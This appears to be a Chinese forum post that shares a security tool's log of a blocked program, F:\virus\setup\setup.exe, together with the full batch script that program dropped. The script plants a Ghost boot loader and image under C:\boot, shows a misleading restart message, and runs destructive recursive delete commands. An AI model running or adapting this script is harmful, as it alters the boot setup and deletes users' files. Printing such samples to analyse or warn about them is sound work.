复制内容到剪贴板
代码:
2008-08-19 09:13:10 运行应用程序 操作:阻止
进程路径:F:\virus\setup\setup.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\1520093.bat
触发规则:所有程序规则->禁止该位置->%windir%\*1520093.bat内容如下：复制内容到剪贴板
代码:
@Echo Off
Copy /y windows\*.* c:\windows >nul
nt.exe
;Echo 程序正在运行,请稍等,12秒钟后自动重启电脑...
sleep 12
If Exist c:\boot\ghos. rd /s /q c:\boot\ghos
If Exist c:\GHLDR attrib -r -s -h c:\GHLDR
If Exist c:\GHLDR Del GHLDR
md c:\boot\ghos
Copy PQVF.VFD c:\boot\ghos\dos.img >nul
Copy menu.lst c:\boot\ghos\ >nul
Copy GHLDR c:\ >nul
Copy IMG.exe c:\boot\ghos >nul
Del IMG.exe
Cd\
c:
Cd c:\boot\ghos
Echo cdqd >cdqd.exe
IMG A dos.img cdqd.exe
Del IMG.exe
Del cdqd.exe
Del /f /s /q .
